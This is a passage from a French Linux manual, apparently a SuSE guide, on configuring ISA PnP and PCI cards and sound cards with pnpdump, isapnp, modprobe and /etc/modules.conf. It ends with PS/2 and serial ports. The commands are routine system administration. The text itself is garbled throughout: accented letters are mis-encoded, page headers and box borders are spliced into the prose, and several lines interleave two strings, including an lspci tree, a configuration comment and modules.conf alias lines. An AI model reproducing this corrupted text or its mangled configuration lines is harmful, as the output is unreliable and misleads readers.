Dans un PC standard, on utilise principalement des cartes bus enfichables ISA
(``Industry Standard Architecture'') et PCI (``Peripheral Component Intercon-
nect'').
L'AGP (``Accelerated Graphics Port'') constitue en quelque sorte une excep-
tion car les pΘriphΘriques connectΘs α ce port sont Θgalement visibles sur
le bus PCI. Ils sont logiquement traitΘs de la mΩme maniΦre que les cartes
bus PCI ~ Les cartes bus PCMCIA se rencontrent surtout dans les ordinateurs
portables tels que laptops et notebooks. Ces cartes et leur configuration sont
dΘcrites au chapitre 11 page 317.
10.2.1 Cartes ISA et PCI
Nous allons maintenant porter notre attention sur les cartes bus ISA et PCI.
Ensuite la configuration de ces cartes sera dΘcrite en prenant pour exemple
les cartes son.
Cartes ISA
La carte ISA constitue la forme la plus ancienne de cartes enfichables com-
patibles PC. Le bus a une largeur de 8 ou 16 bits et il est cadencΘ α 8MHz au
maximum. De nombreuses cartes mΦres permettent de cadencer le bus α une
vitesse plus ΘlevΘe ~ mais ceci cause souvent des problΦmes. Les cartes ISA
peuvent Ωtre classΘes en trois catΘgories.
*
* 293
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
Legacy-Cards : Ces cartes doivent Ωtre configurΘes complΦtement α la main.
Les ressources, telles qu'adresses d'E/S, interruptions et canaux DMA
doivent Ωtre dΘfinies par l'utilisateur α l'aide de cavaliers et de microcom-
mutateurs sur la carte. L'utilisateur doit Θgalement veiller lui-mΩme α ce
que les ressources telles que par exemple IRQ ou canal DMA ne soient
pas utilisΘes simultanΘment par plusieurs cartes. La configuration de telles
cartes s'avΦre donc souvent assez compliquΘe.
Jumperless-Cards : L'avantage que prΘsentent ces cartes, par rapport α la
premiΦre gΘnΘration de cartes ISA, rΘside dans le fait qu'il n'est plus nΘ-
cessaire d'utiliser des cavaliers pour l'attribution des ressources. Un pro-
gramme de configuration spΘcial assume cette tΓche. Mais le plus souvent
ce programme n'est disponible que pour DOS et ne peut pas Ωtre utilisΘ
sous Linux.
PnP-Cards : Les cartes Plug and Play constituent l'Θvolution logique des
cartes sans cavaliers. Ces cartes contiennent des donnΘes sur leur confi-
guration ainsi qu'une liste des configurations possibles. Un programme
spΘcial ou un pilote peut repΘrer les cartes PnP prΘsentes dans le systΦme
et les configurer toutes de telle maniΦre qu'elles n'aient aucune influence
les unes sur les autres.
Tant qu'une carte n'a pas ΘtΘ configurΘe, elle n'existe pas de facto pour le
systΦme. Sous Linux, on utilise le paquetage isapnp de la sΘrie ap pour la
configuration des cartes PnP. Ce paquetage fournit les deux programmes
pnpdump et isapnp .
Comment activer les cartes PnP avec l'outil isapnp ?
ProcΘdez de la maniΦre suivante :
~ Connectez-vous au systΦme en tant qu'utilisateur `root'.
~ Si le rΘpertoire /etc contient dΘjα un fichier isapnp.conf, commencez
tout d'abord par le sauvegarder :
terre:/ # mv /etc/isapnp.conf /etc/isapnp.conf.bak
~ CrΘez, avec la commande
terre:/ # pnpdump -c > /etc/isapnp.conf
le fichier /etc/isapnp.conf. Le paramΦtre -c a pour effet que pnp-
dump prΘpare le fichier de sortie de telle maniΦre que les pΘriphΘriques
PnP puissent immΘdiatement Ωtre activΘs.
~ Avec la commande
terre:/ # isapnp /etc/isapnp.conf
vous activez la carte PnP dans votre machine. ~ Sous SuSE Linux, elle est
activΘe automatiquement α chaque dΘmarrage du systΦme.
Sources possibles d'erreurs
Sympt⌠me : pnpdump affiche un message tel que : "No boards found".
Il peut aussi arriver qu'une ou plusieurs des cartes ISA PnP installΘes ne
soient pas reconnues.
Explications possibles :
294
______________________________________________________________________________________________10.2.__Cartes_enfichables_____*
*______________________
~ Vous n'avez pas installΘ de carte ISA PnP dans votre systΦme : VΘrifiez
quelles cartes sont installΘes et lisez la documentation les concernant.
Demandez le cas ΘchΘant au revendeur chez lequel vous vous Ωtes
procurΘ votre ordinateur quelles sont les cartes installΘes.
~ Les cartes sont dΘfectueuses : VΘrifiez la bonne position des cartes
dans les emplacements destinΘs α l'intΘgration. Testez leur bon fonc-
tionnement sous un autre systΦme d'exploitation.
~ Il existe des cartes qui peuvent Ωtre utilisΘes soit comme cartes
ISA Pnp, soit comme cartes auxquelles on peut assigner des res-
sources dΘterminΘes (exemple : certaines cartes Ethernet ISA NE2000
10 Mbits). Le plus souvent, il est possible avec un programme DOS
de basculer entre les deux modes. De telles cartes n'apparaissent pas
toujours dans l'affichage de pnpdump , cela dΘpend de leur configura-
tion.
~ Quelques rares cartes ISA-PnP ne sont apparemment pas utilisables
dans un systΦme conjointement α d'autres cartes ISA-PnP. Dans un tel
cas, une seule carte est visible dans la sortie de pnpdump . Si cela se
produit, il est Θventuellement possible de configurer l'une des cartes
(par exemple α l'aide de cavaliers directement sur la carte) de telle
maniΦre qu'elle ne fonctionne plus en tant que carte ISA-PnP mais en
utilisant des ressources fixes.
~ Il semble qu'il existe quelques cartes (trΦs rares) qui se rΘinitialisent
aprΦs invocation de pnpdump . S'il s'agit par exemple d'une carte SCSI
et si la partition racine est reliΘe α ce pΘriphΘrique, votre systΦme risque
de se planter. Si vous vous voyez confrontΘ α ce problΦme, vous devez
configurer la carte (si elle est supportΘe) de telle maniΦre qu'elle ne
fonctionne plus en tant que carte ISA-PnP. Il est aussi possible de
renoncer complΦtement α initialiser la carte sous Linux et d'amorcer le
systΦme au moyen de loadlin . Dans ce cas, la carte est dΘjα initialisΘe.
Sympt⌠me : Vous recevez, lors de l'exΘcution de la commande isapnp ou
au moment de l'amorτage, un message de ce genre :
* LD setting failed, this may not be a problem.
* Try adding (VERIFYLD N) to the top of your script
*
* Error occured requested `LD2` on or around line 319
* --- further action aborted
Solution : Suivez le conseil donnΘ par le message d'erreur et ajoutez au
dΘbut de /etc/isapnp.conf la ligne
(VERIFYLD N)
Ceci donne par exemple
# [...]
# (DEBUG)
(VERIFYLD N)
(READPORT 0x0203)
(ISOLATE)
(IDENTIFY *)
# [...]
*
* 295
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
Sympt⌠me : Vous recevez, lors de l'exΘcution de la commande isapnp ou au
moment de l'amorτage, un message de ce genre :
[...]
/etc/isapnp.conf:66 --
Fatal - resource conflict allocating 16 bytes
of IO at 220 (see /etc/isapnp.conf)
/etc/isapnp.conf:66 -- Fatal - IO range check
attempted while device activated
/etc/isapnp.conf:66 -- Fatal - Error occurred
executing request '<IORESCHECK> ' --- further
action aborted
Solution : Vous avez probablement un conflit entre les valeurs choisies dans
le fichier /etc/isapnp.conf et les ressources dΘjα utilisΘes dans votre
systΦme. Faites concorder le fichier /etc/isapnp.conf avec les infor-
mations qui se trouvent sous /proc au sujet des ressources assignΘes. Ce
ne sera sans doute pas nΘcessaire si vous faites procΘder α l'assignation
par pnpdump avec l'option -c .
________________________________________________________________________________________________________*
*________||
| Vous pouvez dans certains cas rencontrer des difficultΘs si la configuration *
* ||||
| automatique des ressources ISA-PnP est activΘe par le BIOS dans le Setup *
* |||
| *
* |||
| de votre machine. DΘsactivez cette fonction le cas ΘchΘant. La configura- *
* |||
| tion Θtant effectuΘe au moyen de pnpdump /isapnp , cette option Setup n'est *
* |||
| *
* |||
| pas indispensable. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
Si vous avez des problΦmes dΘpassant ce cadre, nous vous conseillons de
consulter la documentation relative au paquetage isapnp. Vous la trouverez
sur votre systΦme dans le rΘpertoire /usr/doc/packages/isapnp. └ la fin
de ce paragraphe, nous nous pencherons sur la configuration d'une carte PnP
en prenant l'exemple d'une carte son.
Cartes PCI
Les cartes bus PCI n'ont normalement pas besoin d'Ωtre configurΘes par l'uti-
lisateur. Lorsque le standard pour les bus PCI a ΘtΘ adoptΘ, on a tentΘ de
remΘdier α toutes les dΘficiences prΘsentΘes par les anciens systΦmes bus et il
a ΘtΘ prΘvu une autoconfiguration des cartes. Chaque carte PCI est activΘe par
le BIOS de la machine lors de l'amorτage. L'utilisateur peut souvent influer
sur l'assignation des interruptions par des rΘglages effectuΘs dans le BIOS de
la machine. Lors du dΘmarrage, Linux lit la configuration des pΘriphΘriques
PCI directement α partir du BIOS PCI et utilise ensuite ces donnΘes pour toute
information sur le sous-systΦme PCI.
Vous pouvez, avec la commande
terre:/ # lspci -tv
faire Θtablir une liste des pΘriphΘriques sur bus PCI reconnus par Linux :
Au prochain paragraphe, nous configurerons aussi une carte son PCI.
10.3 Cartes son
On trouve actuellement sur le marchΘ deux types de cartes son. Il s'agit des
cartes ISA et PCI, ces derniΦres remplaτant de plus en plus souvent les cartes
296
__________________________________________________________________________________________________________10.3.__Cartes_son_*
*______________________
_______________________________________________________________________________________________________________________||
|||||||| -[00]-+-00.0 Intel Corporation 440BX/ZX - 82443BX/ZX Host bridge |
||||||||| +-01.0-[01]----00.0+-0Nvidia4.Corporation0 RivaInTNTtel Corporation 82371AB PIIX4 ISA ||
|||||||| +-04.1 Intel Corporation 82371AB PIIX4 IDE |
|||||||| +-04.2 Intel Corporation 82371AB PIIX4 USB |
|||||||| |
|||||||| +-04.3 Intel Corporation 82371AB PIIX4 ACPI |
|||||||| +-06.0 Adaptec 7890 |
|||||||| 09.0 Digital Equipment Corporation DECchip 21140 [FasterNet] |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 10.2.1: Ausgabe des Befehls lspci -tv
ISA. Il faut donc escompter que dans quelques temps il ne sera plus produit
de cartes son ISA.
Il existe actuellement sous SuSE Linux deux solutions pour le support des
cartes son. Vous pouvez, soit installer le paquetage opso ou le paquetage
opsod_up (dΘmo) ou pour les machines multiprocesseurs, le paquetage
opso_smp ou le paquetage opsodsmp (dΘmo) de la sΘrie pay, soit utiliser les
modules du noyau pour le support son.
10.3.1 OSS et versions de dΘmonstration d'OSS
Ces paquetages constituent des outils idΘaux pour la configuration de cartes
son ISA et ISA-PnP. Le paquetage opso et le paquetage opso_smp inclus
dans notre distribution ont dΘjα ΘtΘ enregistrΘs pour les clients de SuSE et
sont ainsi opΘrationnels sans aucune restriction. Le paquetage opsod_up et
le paquetage opsod_smp par contre ne sont pas encore opΘrationnel et leur
fonctionnement est limitΘ α 20 minutes.
Pour pouvoir utiliser le pilote son OSS, procΘdez de la maniΦre suivante :
~ Installez, avec YaST , l'un des paquetages de la sΘrie pay mentionnΘs ci-
dessus.
~ Passez, comme utilisateur `root' au rΘpertoire d'installation correspon-
dant sous /tmp et lancez le programme oss-install :
terre:/ # cd /tmp/opso-3.8.1z
terre:/tmp/opso-3.8.1z # ./oss-install
~ Le programme vous guide dans l'installation du pilote.
~ Lorsque le programme a terminΘ son exΘcution, vous pouvez avec la com-
mande
terre:/tmp/opso-3.8.1z # ./oss-install
charger le pilote OSS et l'utiliser.
Si vous voulez utiliser les modules du noyau pour le support son, vous devriez
lire le paragraphe suivant.
10.3.2 Comment configurer les cartes son sous Linux ?
Pour utiliser une carte son sous Linux, il est indispensable d'exΘcuter les
phases suivantes :
~ Identification du matΘriel :
~ Quelle carte faut-il configurer (constructeur, circuit sur la carte) ?
*
* 297
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
~ Quel type de matΘriel est utilisΘ (ISA, ISA-PnP, PCI) ?
~ Configuration du matΘriel :
~ Mise en place des cavaliers ou configuration au moyen des outils
isapnp.
~ Installation/Chargement du pilote :
~ Chargement des modules du noyau ou dΘmarrage du pilote son OSS .
Voyons maintenant en dΘtail chacune de ces Θtapes.
~ Identification du matΘriel :
~ Cartes son Legacy sur bus ISA
Ces cartes sont encore rΘpandues et on les rencontre surtout dans des
configurations de machines dΘjα anciennes. La configuration se fait
par la mise en place de diffΘrents cavaliers sur les cartes mΩmes. Les
ressources (adresses d'E/S, IRQ et DMA) sont ainsi allouΘes sans am-
bigu∩tΘ).
~ Cartes son PnP sur bus ISA
Les cartes de ce type sont similaires aux cartes Legacy mais les res-
sources (adresses d'E/S, IRQ et DMA) sont configurΘes α travers une
interface logicielle. Il n'est donc plus nΘcessaire de placer des cavaliers
sur les cartes.
~ Cartes son sur bus PCI
Ce sont les cartes son PCI qui sont les plus simples α configurer. Toutes
les cartes bus PCI enfichables sont configurΘes automatiquement par la
machine. Les interfaces logiques permettent aux pilotes d'obtenir des
informations sur les ressources de la carte.
~ Configuration du matΘriel :
~ Cartes son Legacy sur bus ISA :
Vous devez configurer les diffΘrentes ressources en tenant compte des
capacitΘs de votre carte son. Dans l'exemple qui va suivre, nous allons
configurer une carte Creative Soundblaster 16 :
Adresses d'E/S
Voici les adresses d'E/S importantes pour cette carte :
~ Audio I/O
~ Game Port
~ MPU-401
~ FM-Synthese
Seules les adresses pour Audio I/O (0x220, 0x240, 0x260 ou 0x280)
et MPU-401 (0x300 ou 0x330) peuvent Ωtre modifiΘes. Les adresses
pour Game-Port (0x200) et FM-Synthese (0x388) sont prΘdΘfinies et
ne sont pas modifiables.
Interruptions (IRQ)
La carte requiert sa propre interruption. Celle-ci peut Ωtre fixΘe α 2, 5,
7 ou 10.
298
__________________________________________________________________________________________________________10.3.__Cartes_son_______*
*________________
Canaux DMA
Il est possible d'assigner les canaux 0, 1, 3, 5, ou 7. Il a ΘtΘ prΘvu ici
par dΘfaut DMA 1 pour un transfert de donnΘes de 8 bits et DMA 5
pour un transfert de 16 bits
Modifiez les cavaliers sur la carte son de telle maniΦre que la carte ne
provoque pas de conflits de ressources avec d'autres cartes prΘsentes
dans la machine. Notez ces paramΦtres.
~ Cartes son PnP sur bus ISA :
Les ressources de ces cartes doivent Ωtre activΘes par des logiciels
spΘciaux. L'utilisation d'OSS facilite ΘnormΘment la configuration des
cartes PnP car ce programme recherche automatiquement la carte et la
configure tout de suite.
Les cartes PnP peuvent aussi Ωtre utilisΘes avec les pilotes du noyau.
Il est toutefois nΘcessaire que la carte soit activΘe avant le chargement
des modules du noyau. Sous Linux, le paquetage isapnp trouve ici son
emploi. Le programme pnpdump crΘe un fichier de configuration dans
lequel toutes les ressources disponibles dans le systΦme sont listΘes.
Cette liste peut ensuite Ωtre ΘditΘe manuellement afin que les ressources
des cartes soient rΘparties de maniΦre diffΘrentes.
La commande
terre:/ # pnpdump -c > /etc/isapnp.conf
crΘe le fichier /etc/isapnp.conf.
Dans ce qui suit, une carte Creative Soundblaster AWE64 va Ωtre acti-
vΘe :
# This is free software, see the sources for details.
# This software has NO WARRANTY, use at your OWN RISK
#
# For details of this file format, see isapnp.conf(5)
#
# For latest information and FAQ on isapnp and pnpdump see:
# http://www.roestock.demon.co.uk/isapnptools/
#
# Compiler flags: -DREALTIME -DNEEDSETSCHEDULER -DABORT_ONRESERR
#
# Trying port address 0203
# Trying port address 020b
# Board 1 has serial identifier 54 17 0e db 74 9e 00 8c 0e
# (DEBUG)
(READPORT 0x020b)
(ISOLATE PRESERVE)
(IDENTIFY *)
(VERBOSITY 2)
(CONFLICT (IO FATAL)(IRQ FATAL)(DMA FATAL)(MEM FATAL)) # or WARNING
# Card 1: (serial identifier 54 17 0e db 74 9e 00 8c 0e)
# Vendor Id CTL009e, Serial Number 386849652, checksum 0x54.
# Version 1.0, Vendor version 2.0
# ANSI string -->Creative SB AWE64 Gold<--
#
# Logical device id CTL0044
# Device supports vendor reserved register @ 0x38
# Device supports vendor reserved register @ 0x3a
299
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
# Device supports vendor reserved register @ 0x3b
## DeviceDesupportsvivendorcereservedsuregisterpp@or0x3cts vendor reserved register *
*@ 0x3d
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be
# changed if required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 0
# ANSI string -->Audio<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# IRQ 5.
# High true, edge sensitive interrupt (by default)
(INT 0 (IRQ 5 (MODE +E)))
# First DMA channel 1.
# 8 bit DMA only
# Logical device is not a bus master
# DMA may execute in count by byte mode
# DMA may not execute in count by word mode
# DMA channel speed in compatible mode
(DMA 0 (CHANNEL 1))
# Next DMA channel 5.
# 16 bit DMA only
# Logical device is not a bus master
# DMA may not execute in count by byte mode
# DMA may execute in count by word mode
# DMA channel speed in compatible mode
(DMA 1 (CHANNEL 5))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0220
# Maximum IO base address 0x0220
# IO base alignment 1 bytes
# Number of IO addresses required: 16
(IO 0 (SIZE 16) (BASE 0x0220))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0330
# Maximum IO base address 0x0330
# IO base alignment 1 bytes
# Number of IO addresses required: 2
(IO 1 (SIZE 2) (BASE 0x0330))
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0388
# Maximum IO base address 0x0388
# IO base alignment 1 bytes
# Number of IO addresses required: 4
(IO 2 (SIZE 4) (BASE 0x0388))
# End dependent functions
(NAME "CTL009e/386849652[0]{Audio }")
(ACT Y)
))
#
# Logical device id CTL7002
# Device supports vendor reserved register @ 0x39
# Device supports vendor reserved register @ 0x3a
# Device supports vendor reserved register @ 0x3b
# Device supports vendor reserved register @ 0x3c
300
__________________________________________________________________________________________________________10.3.__Cartes_son________*
*_______________
# Device supports vendor reserved register @ 0x3d
## Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be changed if
# required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 1
# Compatible device id PNPb02f
# ANSI string -->Game<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0200
# Maximum IO base address 0x0200
# IO base alignment 1 bytes
# Number of IO addresses required: 8
(IO 0 (SIZE 8) (BASE 0x0200))
# End dependent functions
(NAME "CTL009e/386849652[1]{Game }")
(ACT Y)
))
#
# Logical device id CTL0023
# Device supports vendor reserved register @ 0x38
# Device supports vendor reserved register @ 0x3a
# Device supports vendor reserved register @ 0x3b
# Device supports vendor reserved register @ 0x3c
# Device supports vendor reserved register @ 0x3d
#
# Edit the entries below to uncomment out the configuration required.
# Note that only the first value of any range is given, this may be changed if
# required
# Don't forget to uncomment the activate (ACT Y) when happy
(CONFIGURE CTL009e/386849652 (LD 2
# ANSI string -->WaveTable<--
# Multiple choice time, choose one only !
# Start dependent functions: priority preferred
# Logical device decodes 16 bit IO address lines
# Minimum IO base address 0x0620
# Maximum IO base address 0x0620
# IO base alignment 1 bytes
# Number of IO addresses required: 4
(IO 0 (SIZE 4) (BASE 0x0620))
(IO 1 (BASE 0x0a20))
(IO 2 (BASE 0x0e20))
# End dependent functions
(NAME "CTL009e/386849652[2]{WaveTable }")
(ACT Y)
))
# End tag... Checksum 0x00 (OK)
# Returns all cards to the "Wait for Key" state
(WAITFORKEY)
301
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
~ Cartes son sur bus PCI :
Les cartes son PCI sont trΦs simples α configurer. Le bus PCI est confi-
gurΘ automatiquement par la machine et il distribue ainsi automati-
quement les ressources des diffΘrentes cartes. Les pilotes peuvent de-
mander quelles sont les ressources α travers des interfaces logicielles
dΘfinies.
~ Installation/chargement des pilotes :
└ la derniΦre Θtape, la configuration matΘrielle doit Ωtre communiquΘe
aux pilotes du noyau. Ceci se fait par des entrΘes dans le fichier /etc/
modules.conf.
~ Cartes ISA et PnP :
Les modules prΘcompilΘs pour des types de cartes supportΘs par
le noyau sont fournis avec SuSE Linux. Ils sont inclus dans le pa-
quetage kernmod. AprΦs installation des sources du noyau (paque-
tage lx_suse), vous trouverez dans le rΘpertoire /usr/src/linux/
Documentation/sound des informations sur les modules α utiliser.
Contr⌠lez, dans le fichier /etc/modules.conf, que les alias dΘfinis
pour le son ne sont pas fixΘs α off . Le cas ΘchΘant, vous devrez mettre
ces alias en commentaire en ajoutant le caractΦre `#' en dΘbut de ligne
ainsi qu'il a ΘtΘ fait dans le fichier 10.3.1 page 306.
Si vous possΘdez, par exemple, une carte de la famille Soundblaster 16 ,
vous pouvez charger les pilotes pour les fonctions fournies par la carte
(audio, MPU401 et synthΘtiseur) en tapant par exemple la commande
suivante :
terre:/ # modprobe sb io=0x220 irq=5 dma=1 dma16=5 mpu_io=0x330
Cette commande charge le pilote proprement dit pour la Soundblas-
ter 16. Ce mΩme module est aussi requis pour la carte AWE64. Le
pilote pour le MPU401 est un ΘlΘment du pilote de la carte son. Les
modules uart401, sound, soundlow et soundcore, indispensables
pour utiliser toutes les fonctions de la carte son, seront chargΘs plus
tard automatiquement. Ils fournissent quelques pilotes de bas niveau
ainsi que toutes les fonctions communes aux modules son. Vous pou-
vez, avec la commande
terre:/ # lsmod
vous assurer que ces modules ont effectivement ΘtΘ chargΘs.
terre:/ # modprobe adlib_card io=0x388
Cette commande charge le module pour le synthΘtiseur de la carte son.
Les pilotes ΘnumΘrΘs dans le tableau 10.1 page ci-contre sont actuelle-
ment disponibles.
Vous trouverez une liste des paramΦtres possibles pour les diffΘ-
rents modules dans le chapitre sur les paramΦtres du noyau (para-
graphe 14.3.4 page 383).
~ Cartes PCI
Nous allons maintenant vous prΘsenter, Θtape par Θtape, la configuration
des cartes son en prenant comme exemple une Creative Soundblaster
PCI 64/128 :
302
__________________________________________________________________________________________________________10.3.__Cartes_son____*
*___________________
_______________________________________________________________________________________________________________________
ad1816.o AD1816 Chip (par exemple TerraTec Base1/64)
ad1848.o AD1848 Chip (MSS)
adlib_card.o Pilote gΘnΘrique OPLx
cmipci.o CMI8338, expΘrimental ( ?)
cs4232.o Crystal 423x, chipsets
es1370.o Ensoniq 1370, chipset (voir PCI64/128)
es1371.o Creative Ensoniq 1371, chipset (voir PCI64/128)
esssolo1.o Solo1 ES1938/ES1969
gus.o Gravis Ultrasound
mad16.o MAD16
maui.o Turtle Beach Maui et Tropez
mpu401.o MPU401
msnd.o Turtle Beach MultiSound
msnd_classic.o Turtle Beach Classic/Monterey/Tahiti
msnd_pinnacle.o Turtle Beach Pinnacle/Fiji
nm256.o Neo Magic
opl3.o OPL3
opl3sa.o OPL3-SA1
opl3sa2.o YMF711, YMF715, YMF719, OPL3-SA2,
OPL3-SA3, OPL3-SAx
pas2.o Pro Audio Spectrum
pss.o Personal Sound System (ECHO ESC614)
sb.o Sound Blaster et Clones
sgalaxy.o Aztech Sound Galaxy
softoss2.o Software-MIDI-Synthesizer, pilote
sonicvibes.o S3 Sonic Vibes
sound.o Fonctions requises par tous les modules
soundlow.o Pilote son bas niveau
soundcore.o Pilote de base pour systΦmes son
sscape.o Ensoniq SoundScape
trix.o MediaTrix AudioTrix Pro
uart401.o UART401
uart6850.o UART6850
v_midi.o Sound Blaster DSP chips
wavefront.o Turtle Beach Maui, Tropez, Tropez Plus
_______________________________________________________________________________________________________________________
Tab. 10.1: Liste des pilotes de cartes son
Les cartes Soundblaster PCI 64/128 sont dotΘes de circuits audio du type
Ensoniq ES1370 ou ES1371.
1. VΘrifiez, α l'aide de l'inscription portΘe sur le circuit audio de votre
carte son, s'il s'agit d'un circuit de type ES1370 ou ES1371. IntΘgrez
la carte ;-)
2. Modifiez le fichier /etc/modules.conf. Vers la ligne 38, vous trou-
vez les entrΘes suivantes :
*
*303
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
alias char-major-14 off
aliasalsoundiaoffs midi off
Modifiez-les de sorte qu'elles deviennent :
# alias char-major-14 off
# alias sound off
# alias midi off
C'est vers la ligne 100 que commence la configuration des modules de
la carte son. Transformez
# alias char-major-14 es1370
en
alias char-major-14 es1370
par la suppression du caractΦre de commentaire.
Si vous avec un ES1371 sur votre carte, procΘdez de maniΦre analogue
en utilisant toutefois la prochaine entrΘe pour le module es1371.o.
3. DΘmarrez le mΘlangeur.
Une commande lsmod devrait produire l'affichage suivant :
________________________________________________________________________________________________________*
*________
| Module Size Used by *
* |
| *
* |
| es1370 21748 1 (autoclean) *
* |
| soundcore 2084 4 (autoclean) [es1370] *
* |
| ... *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 10.3.1: Sortie de la commande lsmod
4. Si cela ne marche pas tout de suite, essayez encore une fois aprΦs avoir
lancΘ depmod -a .
5. Avec kscd, x11amp, ou quelque chose de similaire, essayez d'amener
votre machine α Θmettre un son.
Pour cela, vous devez ABSOLUMENT contr⌠ler le rΘglage du mΘlan-
geur (si tous les canaux sont en mode silencieux, le plus beau pilote
son ne sert α rien ;-)
Notez que les cartes qui requiΦrent le module es1370.o ou es1371.o
ne sont pas reconnues automatiquement par KDE car ces modules ne
sont pas disponibles dans le fichier de pΘriphΘrique /dev/sndstat. ~
Pour pouvoir malgrΘ tout go√ter le plaisir du son sous KDE, vous devrez
modifier le fichier /opt/kde/bin/startkde de la maniΦre suivante :
Recherchez les lignes
startifaudio kaudioserver
startifaudio kwmsound
et transformez-les en
kaudioserver &
kwmsound &
304
__________________________________________________________________________________________________________10.3.__Cartes_son_*
*______________________
La carte son Creative Soundblaster Live ! est gΘrΘe par un pilote spΘ-
cial dΘveloppΘ par Creative Labs. Installez le paquetage emu10k1 de
la sΘrie snd avec YaST . Vous trouverez dans le fichier /usr/doc/
packages/emu10k1/README.SuSE des informations complΘmentaires
sur la marche α suivre pour installer le pilote.
VΘrifiez si tout a bien marchΘ :
Vous avez chargΘ tous les modules et vous dΘsirez vous assurer qu'il est
vraiment possible de produire du son. Lancez α cette fin (aprΦs avoir chargΘ
le module son) la commande suivante :
terre:/ # cat /dev/sndstat
Cela devrait (dans le cas de la SB 16) donner une sortie analogue α celle de
l'affichage 10.3.2
_______________________________________________________________________________________________________________________||
|||||||| [...] |
|||||||| Audio devices: |
|||||||| |
|||||||| 0: Sound Blaster 16 (4.13) (DUPLEX) |
|||||||| Synth devices: |
|||||||| |
|||||||| 0: Yamaha OPL3 |
|||||||| Midi devices: |
|||||||| |
|||||||| 0: Sound Blaster 16 |
|||||||| Timers: |
|||||||| |
|||||||| 0: System clock |
|||||||| Mixers: |
|||||||| 0: Sound Blaster |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 10.3.2: Sortie de la commande cat /dev/sndstat
Si cette commande provoque un affichage tel que celui que nous avons donnΘ
en exemple, vous pouvez essayer de jouer un fichier audio (vous trouverez de
tels fichiers par exemple dans le paquetage snd_au, le paquetage snd_wav
et le paquetage snd_mod de la sΘrie snd). Il vous faut pour cela le paquetage
sox de la sΘrie snd :
terre:/ # play /usr/share/sounds/wav/applause.wav
terre:/ # tracker /usr/share/sounds/mod/rebels.mod
Vous pouvez trΦs aisΘment, avec le programme KDE kmid , jouer des fichiers
Midi si votre carte offre le support nΘcessaire.
Si cat /dev/sndstat provoque l'affichage que vous souhaitez et si
play mysong.wav revient sans message d'erreur alors que vous n'entendez
toujours rien, essayez de dΘmarrer le mΘlangeur audio dans le tableau de bord
de KDE. Il se peut aussi que le volume du son soit tout simplement mal rΘglΘ.
Chargement automatique des modules du noyau
Lorsque vous vous Ωtes assurΘ que votre carte est complΦtement suppor-
tΘe par les pilotes dont vous disposez, vous pouvez charger automatique-
ment les modules correspondants en faisant les entrΘes nΘcessaires dans le
fichier /etc/modules.conf. Pour la Soundblaster 16, ces entrΘes seront
semblables α celles du fichier 10.3.1 page suivante.
*
* 305
10. L'environnement_matΘriel_de_l'ordinateur_Linux________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| # alias char-major-14 off *
* |
| *
* |
| # alias sound off *
* |
| # alias midi off *
* |
| *
* |
| *
* |
| alias char-major-14 sb *
* |
| post-install sb /sbin/modprobe "-k" "adlib_card" *
* |
| *
* |
| options sb io=0x0220 irq=7 dma=1 dma16=5 mpu_io=0x0330 *
* |
| options adlib_card io=0x0388 # FM synthesizer *
* |
|_______________________________________________________________________________________________________*
*________ |
fichier 10.3.1: /etc/modules.conf : Options pour modules son
Il n'existe naturellement pas de rΦgle gΘnΘrale permettant de dΘterminer
quelle carte son possΦde quelle fonctionnalitΘ. Vous devez, α l'aide de la do-
cumentation de la carte ainsi que des informations contenues dans /usr/
src/linux/Documentation/sound, dΘcouvrir vous-mΩme quels modules
il convient de charger dans chaque cas. Vous pouvez aussi trouver de nom-
breuses informations dans les fichiers sources des pilotes sous /usr/src/
linux/drivers/sound. Mais il existe dΘjα dans le fichier /etc/modules.
conf quelques entrΘes prΘdΘfinies que vous pouvez modifier en consΘquence.
Au lieu de charger les modules α travers le fichier /etc/modules.conf,
vous pouvez aussi les charger par l'insertion des commandes modprobe men-
tionnΘes ci-dessus dans le fichier /sbin/init.d/boot.local (voir para-
graphe 17.4 page 448 et pages suivantes).
10.4 Interfaces de la machine
10.4.1 Ports PS/2
Les ports PS/2 ont ΘtΘ dΘveloppΘs par IBM pour les systΦmes PS/2. Au cours
de ces derniΦres annΘes, ces ports se sont de plus en plus rΘpandus grΓce au
standard ATX. Vous pouvez relier une souris ou un clavier aux ports PS/2 de
votre machine.
La configuration des ports PS/2 n'est pas indispensable sous Linux du fait
que le support pour PS/2 est intΘgrΘ dans le noyau. Le systΦme reconnaεt donc
automatiquement les ports PS/2 prΘsents et peut utiliser les pΘriphΘriques qui
y sont rattachΘs. Les ports sont reprΘsentΘs dans le systΦme par les fichiers de
pΘriphΘriques /dev/kbd et /dev/psaux.
10.4.2 Ports sΘrie
Les ports sΘrie (RS232) de votre machine sont souvent utilisΘs pour les mo-
dems externes. Vous pouvez aussi faire fonctionner des souris avec une inter-
face RS232 sur ces ports.
Sous Linux, le support des interfaces requiert le module du noyau serial.o.
Ce module est chargΘ automatiquement lorsque vous essayez, α l'aide de
logiciels adΘquats, d'accΘder α des pΘriphΘriques reliΘs α ces ports. Si vous
avez par exemple configurΘ votre accΦs Internet en vue d'utiliser un modem
